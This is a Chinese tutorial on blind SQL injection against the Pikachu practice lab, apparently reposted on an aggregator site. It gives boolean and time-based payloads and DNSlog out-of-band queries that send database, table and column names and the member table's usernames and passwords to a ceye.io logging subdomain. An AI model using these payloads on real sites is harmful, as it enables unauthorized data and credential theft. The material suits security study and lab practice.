SQL注入7----(盲注與回顯)

一.前言

在我們的注入語句被帶入數據庫查詢但卻什么都沒有返回的情況我們該怎么辦?例如應用程序就會返回 一個"通用的"的頁面,或者重定向一個通用頁面(可能為網站首頁)。這時,我們之前學習的SQL注入辦 法就無法使用了。這種情況我們稱之為無回顯,如果頁面有信息顯示,我們稱之為有回顯。回顯狀態的 頁面沒什么可說的,無回顯的這種我們就可以采用盲注的手段

二.盲注

2.1?Boolian(布爾型)盲注

盲注,即在SQL注入過程中,SQL語句執行選擇后,選擇的數據不能回顯到前端,我們需要使用一些特 殊的方法進行判斷或嘗試,這個過程稱為盲注。

SQL盲注分為兩大類:基于布爾型SQL盲注、基于時間型SQL盲注

盲注的話其實手工來測很費時費力,所以一般我們采用工具來測,我們先手工看看效果。 通過pikachu的盲注功能看看效果

我們發現這個注入沒有效果了

采用sql語句中and的方法,返回正確或錯誤來構造,按照之前的思路構造一個SQL拼接:

vince' and extractvalue(0,concat(0x7e,version()))#

輸入后根據返回的信息判斷之前的思路 不再適用。

那么我們這樣搞:輸入語句

select ascii(substr(database(),1,1))>xx;

通過對比ascii碼的長度, 判斷出數據庫表名的第一個字符。

注:substr()函數 substring -- sub子集 string -- 字符串 子字符串 aabbcc -- aa bb aab aabbc pikachu 從第一個位置開始取出1個字符 ascii('p')

substr(string,start,length)

string(必需)規定要返回其中一部分的字符串。start(必需)規定在字符串的何處開始。length(可選)規定被 返回字符串的長度。

通過和數字的對比,我們看到結果有1和0,1表示真,0表示假,推斷出數據庫名稱首字母是ascii表上的112數字,代表字母為p

但是一個一個字母的查詢,查詢多少個為止呢?我們同樣可以使用length來判斷表名的長度,判斷出長 度后就能多次輸入payload來爆破出每一個表名的字符。輸入語句:

vince' and length(database())=7 #

注:select語句不能直接嵌套在?and后面這樣使用,所以length前面不要加上select

回到pikachu平臺按照之前的邏輯,我們構造語句,如果返回1,那么就會爆出選擇的信息,返回0,就 會返回 您輸入的username不存在! 。按照之前邏輯,輸入sql語句:

vince' and ascii(substr(database(),1,1))=112#

通過這個方法,就能得到后臺數據庫的名稱的第一個字符的ascii碼,注意vince是一個數據庫中存在的用戶名昂。同之前的辦法,我們也可以獲得information_schema.tables里的數據。但在實際操作中通常不會使用手動盲注的辦法,可以使用sqlmap等工具來增加盲注的效率。不斷的猜解

結果沒有報錯,說明存在這個注入點,布爾型盲注基本都是通過ascii碼來測試的。

2.2?base on time(時間型)盲注

到base on time盲注下,輸入上個演示中設置好的payload:

vince' andascii(substr(database(),1,1))=112#

返回的信息發現不存在注入點。那這樣就不能進行注入 了?當然還要繼續嘗試,其實可以通過后端的執行時間來進行注入。這里會用到的 payload:

vince'and sleep(5)#?

那么你會看到頁面等待了5秒鐘才出結果,說明有注入點

基于時間的延遲,構造一個拼接語句:

vince' and if(substr(database(),1,1)='X' (猜測點)',sleep(3),null#

,輸入后,如果猜測真確,那么就會響應3秒,如果錯誤會立刻返回錯誤。輸入:

vince' and if(substr(database(),1,1)='p',sleep(3),null)#

,在web控制臺下,判斷出database的表名的一個字符為p。通過這個辦法我們就能逐步向下獲取數據。判斷猜解。

時間型盲注經常使用的函數: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的內置 函數,是將MD5(1)執行10000000次以達到延遲的效果

如果sleep被防御了,可以使用benchmark。

vince' and if(substr(database(),1,1)='p',benchmark(10000000,MD5(1)) ,null)#

三.DNSlog方式

dnslog注入也可以稱之為dns帶外查詢,Dns在域名解析時會在DNS服務器上留下域名和解析ip的記錄, 可以在dns服務器上查詢相應的dns解析記錄,來獲取我們想要的數據。

大致原理:

就是通過注入A網站的地址,將無回顯的敏感數據帶出放到A網站的記錄上

具備DNSlog日志記錄功能的網站A我們不用自己搭建,可以采用如下三個,當然如果你想自己搭建也是可以的:

http://ceye.io/ 知道創宇公司提供的

http://www.dnslog.cn/

http://admin.dnslog.link #最近發現,這個好像不太好用了

我們就看看第一個網址:

我們數據都會回顯在這里

條件:

1、需要mysql用戶具備讀文件的權限,因為要借助到mysql的load_file讀取文件的函數,權限不夠的 話,不能調用這個函數。其實只要mysql中配置項中開啟了這個secure_file_priv配置,就可以通過sql語 句來執行文件讀寫操作。

2、目標mysql數據庫服務器能夠訪問外網 其實load_file()不僅能夠加載本地文件,同時也能對諸如 \\www.xxx.com 這樣的URL發起請求。這樣 的url我們稱之為UNC路徑,簡單了解即可。就借助load_file函數能夠訪問某個網址的特性,來進行DNSlog注入,注入語句如下

select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\xx是某個網址

第一步:先看一下網址域名 f5iwy3.ceye.io

第二步:將網址添加到sql語句中

select load_file('\\\\xxx.f5iwy3.ceye.io\\abc');

第三步:開啟MySQL的讀取文件功能的配置項

secure_file_priv=""

第四步:在mysql命令行先執行一下我們的寫好的sql語句

第五步:看一下日志記錄

發現,有記錄了,并且看到了pp這個數據,那么我們就可以繼續構造獲取敏感數據的sql語句了

select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')) #獲取庫名

第六步:開始注入

3.1?獲取當前庫名

and select * from member where id=1 and (select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')));#

and select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.f5iwy3.ceye.io\\abc')));#

3.2?獲取表名

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.f5iwy3.ceye.io\\abc')));#

修改limit后面的數字即可將每個表名都查出來

3.3?查詢字段名

and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.f5iwy3.ceye.io\\abc')));#

同樣也是修改limit后面的數字,將member表的字段名一個一個的取出來

3.4?查詢數據

查詢一下member的username和pw字段的數據

and (select load_file(concat('\\\\',(select username from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#

and (select load_file(concat('\\\\',(select pw from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#

我們只需要把這個用于其他類似于字符型注入或者數字型注入里去測試就好了

四.DNSlog注入工具

這個工具不太好用了,也好久沒有更新了,知道有這樣的工具即可,有興趣的可以自己去找找新的工 具,這個我們就不演示了。

有一個專門針對DNSlog注入的工具,叫做DNSlogSqlinj,python27語言寫的。

GitHub - ADOOO/DnslogSqlinj

修改一下配置文件里的APItoken和DNSurl就可以使用了

用法: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/96128.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/96128.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/96128.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

尚硅谷宋紅康JVM全套教程(詳解java虛擬機)

https://www.bilibili.com/opus/1071553679925968898 案例7:日均百萬訂單系統JVM參數設置 https://github.com/wei198621/jvm_by_atguigu https://github.com/xftxyz2001/atguigu-jvm/blob/main/JavaYouthdocsJVM/%E7%AC%AC1%E7%AB%A0-JVM%E4%B8%8EJava%E4%BD%…

鴻蒙NEXT開發實戰:圖片顯示、幾何圖形與自定義繪制詳解

探索HarmonyOS NEXT強大的圖形渲染能力,從圖片展示到自定義繪圖 HarmonyOS NEXT作為華為自主研發的操作系統,為開發者提供了一套豐富而強大的圖形渲染能力。無論是顯示圖片、繪制幾何圖形,還是實現復雜的自定義繪圖,鴻蒙都提供了簡…

python + Flask模塊學習 2 接收用戶請求并返回json數據

用到的模塊還是flask,用到的類有Flask, request, jsonfiy 🙂 目錄 1、GET請求 2、POST請求 1、表單格式 2、json格式 就醬,也比較簡單,下一篇說簡單的授權,簡單來說就是比如用戶付費買了服…

國內外常用的免費BUG管理工具選型

幫助用戶根據自身情況做決定,比如團隊規模、技術能力、是否需要移動端支持等。避免只是羅列工具,而是提供實際選擇的維度。 國內外常用的免費BUG管理工具選擇非常豐富,從輕量級到功能全面型都有覆蓋。我將它們分為幾類,并詳細介紹…

JavaScript的事件循環機制

1.事件循環的理解JavaScript是單線程的,意味著它一次只能執行一個任務。而事件循環就是去協調在JavaScript環境中運行的同步任務、異步任務(微任務、宏任務)的執行順序的一種機制。它是 JavaScript 實現單線程非阻塞異步執行的核心。2.事件循環的執行順序同步任務—…

數據結構——棧(Java)

目錄 一定義. 入棧 出棧 二.棧與線性表的關系 三.棧的實現方式 四.鏈表實現棧 1.結點的API設計 2.棧的API設計 2.1棧的初始化設計 2.2元素入棧 2.3元素出棧 五.括號匹配問題 完整代碼展示 答案 一定義. 棧是一種基于先進后出(FILO)的數據…

科研筆記:數學建模啟發的課題研究方法

借鑒數學建模的思路解決科學問題或開展課題研究,核心是將實際問題抽象為數學框架,通過定量分析、邏輯推演和驗證優化,實現對問題的精準描述、解釋或預測。其本質是“從現實到數學,再從數學回歸現實”的迭代過程,適用于…

Agent落地到底選擇LangChain 還是 LangGraph

核心概念 LangChain:一個用于構建由大型語言模型驅動的應用程序的框架。它提供了大量的組件和現成的鏈,旨在簡化和標準化應用程序與LLM交互的過程。 LangGraph:一個用于在LangChain之上構建有狀態、多參與者的 工作流 的庫。它特別擅長處理具有循環、分支和復雜協調的代理(…

ChatGPT下的相關聊天提示詞

問:如果我覺得一個子對話里,聊天聊得太多,在這個項目下新開一個子對話,但是不想把上次太多的信息 都復制過來,有沒有什么辦法關鍵詞:項目、子對話,上下文ChatGPT:有辦法的 ?在 ChatGPT 里&…

最新PDF版本!Acrobat Pro DC 2025,解壓即用版

軟件介紹 Adobe Acrobat Pro DC 2025 是全球知名的 PDF 編輯神器,被稱為 “最牛 PDF 工具”,能輕松解決 PDF 編輯、創建、轉換等難題,本次分享的版本解壓即可使用。 軟件特點 然解壓即可使用不用登錄注冊最新版本 軟件使用 我們打開軟件選…

XX汽集團數字化轉型:全生命周期網絡安全、數據合規與AI工業物聯網融合實踐

引言:數字化轉型中的安全與效率雙輪驅動作為中國汽車行業的龍頭企業,XX汽集團近年來積極推進數字化轉型,通過構建全生命周期網絡安全體系、完善數據合規治理框架,并深度融合AI工業物聯網技術,實現了生產成本顯著降低和…

云原生部署_Docker入門

Docker是啥Docker是一個開源的容器化平臺,可以幫助開發者將應用程序和其依賴的環境打包成一個可移植、可部署的容器。Docker的主要目標是通過容器化技術,實現應用程序的快速部署、可移植性和可擴展性,從而簡化應用程序的開發、測試和部署過程…

【大數據專欄】大數據框架-Apache Druid Overview

目錄 Architecture Advantages and disadvantages 從架構以及設計可以得出結論,Durid不支持ACID事務,基于時間戳列和維度列去查詢,所以適合基于時間做分組和學列的查詢操作。 Advantages優勢: 實時數據攝取與查詢 支持秒級數據攝…

云平臺面試內容(一)

1. 云計算的優點、服務模型區別及云部署模式 云計算優點: 云計算具有顯著的優勢,包括無需自建機房和硬件投入,資源即開即用并支持彈性伸縮,按需付費使成本透明可控。企業可以在數分鐘內完成全球范圍的部署,縮短上線周期。同時云平臺提供高可用性和安全性,多副本容災保證數…

嵌入式 - 硬件:51單片機(2)

本節重點:1. GPIO輸入模式、輸出模式2. 按鍵工作原理(GPIO輸入)3. 中斷概念4. 中斷源概念、中斷源個數、哪幾個中斷源5. 外部中斷、定時器中斷概念6. 中斷處理流程:7. 51單片機中定時器的個數?類型8. 16位定時器和8位…

C語言中奇技淫巧07-使用GCC棧保護選項檢測程序棧溢出

-fstack-protector 是 GCC 和 Clang 編譯器提供的一種棧保護(Stack Smashing Protection, SSP) 機制,用于檢測和防御常見的緩沖區溢出攻擊(特別是棧溢出)。它通過在函數的棧幀中插入特殊的“金絲雀值”(can…

.NET 8.0 Web API JWT 身份驗證和基于角色的授權

在當今的數字環境中,保護 Web 應用程序的安全至關重要。隨著 .NET 8.0 的不斷發展,它提供了強大的工具來確保您的 API 既安全又高效。 示例代碼:https://download.csdn.net/download/hefeng_aspnet/91490262 如果您喜歡此文章&#xff0c…

ZYNQ SDK軟件在線調試

1、然后右鍵項目->debug as->launch on hardware2、從左到右分別是:運行程序到設置的斷點暫停運行終止斷開連接步進(進入函數內部)跳過(不進入函數內部)跳出函數3、雙擊添加斷點,然后點擊運行可以讓程…

四大金剛之計算機操作系統

1. 進程和線程的區別?創建線程的代價比創建進程小嗎?進程是資源分配和調度的基本單位;線程是 CPU 調度的基本單位。進程有獨立的地址空間,線程共享進程地址空間。創建/銷毀進程開銷大,線程開銷小。是的,因為…

redis--redis.conf的相關配置問題

關于redis.conf內的相關重要的配置介紹 1. bind 配置 僅僅設置bind,還需要搭配下面的rotected-mode 配置才能外部ip進行連接 功能:設置 Redis 監聽的 IP 地址,決定哪些設備可以連接到 Redis 服務器。 bind 127.0.0.1:只允許本機&a…